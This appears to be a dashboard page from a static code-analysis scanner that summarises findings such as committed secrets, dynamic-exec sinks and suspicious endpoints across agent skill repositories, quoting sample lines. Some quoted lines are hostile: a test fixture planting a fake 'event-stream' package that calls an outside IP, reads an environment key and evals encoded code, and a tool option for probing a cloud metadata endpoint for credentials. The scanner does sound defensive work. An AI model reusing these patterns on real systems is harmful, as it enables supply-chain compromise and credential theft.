Code analysis
static source read inferred
Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.
50064 analyzed
8099 re-analysis due
988 not analyzable
0 not yet analyzed
4803 source gone
not analyzable
789 too large 199 no source
Running analyzer v33. The scanner changelog explains what each version detects and when it changed.
- hidden prompt 338
- committed secret 6178
- dynamic exec 11834
- obfuscation 3579
- suspicious endpoint 12346
- credential in log 713
- over-broad oauth scope 2550
- suspicious skill script 185
- bundled IDE extension 49
- skill file 187628
- HIGH dynamic exec motet-ai/motet __import__()
__import__(module) - HIGH dynamic exec motet-ai/motet pickle.loads()
spec = pickle.loads(cached_spec_data) - HIGH dynamic exec motet-ai/motet eval()/exec()
result = eval(expression, {"__builtins__": {}}, {}) - MEDIUM suspicious endpoint Wood-Fired-Games/wood-fired-tasks 8.8.8.8
expect(assertEndpointAllowed('http://8.8.8.8/in').allowed).toBe(false); - MEDIUM suspicious endpoint Wood-Fired-Games/wood-fired-tasks 172.32.0.1
expect(assertEndpointAllowed('http://172.32.0.1/in').allowed).toBe(false); // outside /12 - HIGH committed secret Wood-Fired-Games/wood-fired-tasks Slack token
xoxb-y…(24 chars, redacted) - MEDIUM suspicious endpoint agentcathq/agentcat-typescript-sdk eu.i.posthog.com (telemetry)
host: "https://eu.i.posthog.com", - MEDIUM suspicious endpoint agentcathq/agentcat-typescript-sdk us.i.posthog.com (telemetry)
expect(url).toBe("https://us.i.posthog.com/batch"); - MEDIUM suspicious endpoint agentcathq/agentcat-typescript-sdk us.i.posthog.com (telemetry)
const host = (config.host || "https://us.i.posthog.com").replace(/\/$/, ""); - HIGH dynamic exec vectorstep-service-mcp __import__ sink
env={**__import__("os").environ, "CONFIG_PATH": str(config_path)}, - MEDIUM suspicious endpoint 1420079678-ctrl/agent-body 1.2.3.4
target: { type: 'string', required: true, description: '目标：URL（如 http://1.2.3.4:8080）或 域名/IP（默认 80/443）' }, - HIGH dynamic exec 1420079678-ctrl/agent-body vm exec
vm.runInNewContext(code, sandbox, { timeout: 1500, filename: 'acw-challenge.js' }) - MEDIUM suspicious endpoint 1420079678-ctrl/agent-body 169.254.169.254 (cloud metadata)
meta: { type: 'string', description: '云元数据端点（如 http://169.254.169.254/latest/meta-data/，探测可达性与凭证）' }, - MEDIUM suspicious endpoint 1420079678-ctrl/agent-body 1.2.3.4
target: { type: 'string', required: true, description: '目标 URL，如 http://example.com/login.php 或 http://1.2.3.4:8080/' }, - MEDIUM suspicious endpoint 1420079678-ctrl/agent-body 45.7.2.1
writeFileSync(join(tmp, 'node_modules', 'event-stream', 'index.js'), `var http=require('http');http.get('http://45.7.2.1/a');process.env.KEY;eval(Buffer.from('YQ==').toString())`)